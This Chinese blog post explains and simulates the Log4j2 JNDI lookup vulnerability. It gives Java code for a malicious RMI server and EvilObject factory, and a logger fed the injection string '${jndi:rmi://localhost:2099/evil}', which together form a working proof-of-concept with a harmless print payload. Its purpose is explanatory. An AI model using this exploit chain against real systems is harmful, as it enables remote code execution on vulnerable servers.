天天看点

log4j2 漏洞模拟

一夜之间到处都是 log4j2 的漏洞,公司的群里也收到了紧急通知,要求立刻修复!修复方式相信大家都清楚,升级 log4j2 版本或者通过一些参数来禁用 lookup 功能等,就不过多叙述了,本文主要带大家看一下这个漏洞到底是怎么回事,通过代码来简单模拟下这个漏洞。

lookup 功能

log4j 提供了 lookup 功能,通过lookup 你可以在你的log4j 配置文件中添加你的变量值。最简单的你配置日志使用的日期格式 $${date:yyyy-MM} 就是通过date lookup 功能实现的。此外还有很多的lookup,比如 docker-lookup、env-lookup 等。

lookup 功能使得日志的配置更加灵活,但是提供的 Jndi lookup  却暴露了重大的漏洞。

通过 jndi 你可以远程访问很多服务或接口。比如 ldap 、 RMI、CORBA 等,jndi-lookup 结合 jndi 和 lookup 这就带来了远程不可控的风险。

下面就通过 RMI 来模拟本次漏洞。

准备工作

1. build.gradle 文件,添加配置:

implementation group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.14.1'
    implementation group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.14.1'
           

2. 通过RMI 暴露一个远程恶意后台服务,并启动

public class RemoteServer {
    public static void main(String[] args) {
        try {

            System.out.println(System.getSecurityManager() == null);
            if (System.getSecurityManager() == null) {
                System.setSecurityManager(new SecurityManager());
            }


            LocateRegistry.createRegistry(2099);
            Registry registry = LocateRegistry.getRegistry(2099);


            Reference ref = new Reference("top.lovelily.remote.EvilObject", "top.lovelily.remote.EvilObject", null);
            ReferenceWrapper remote = new ReferenceWrapper(ref);

            registry.rebind("evil", remote);
            System.out.println("启动 RMI 服务端");
        } catch (Exception e) {
            e.printStackTrace();
        }


    }
}
           

远程恶意代码,很简单就是执行一个静态代码块:

public class EvilObject implements ObjectFactory {
    static {
        System.out.println("执行恶意代码!");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}
           

3. 下面模拟公司服务器打印输入参数

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LocalServer {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String input = "${jndi:rmi://localhost:2099/evil}";
        logger.info("hello1 {}", input);
    }
}
           

由于用户输入是任意的,攻击者写好攻击代码后,恶意输入代码中内容。就会在本地服务器执行远程恶意代码:

log4j2 漏洞模拟

如果觉得还不错的话,关注、分享、在看(关注不失联~), 原创不易,且看且珍惜~

log4j2 漏洞模拟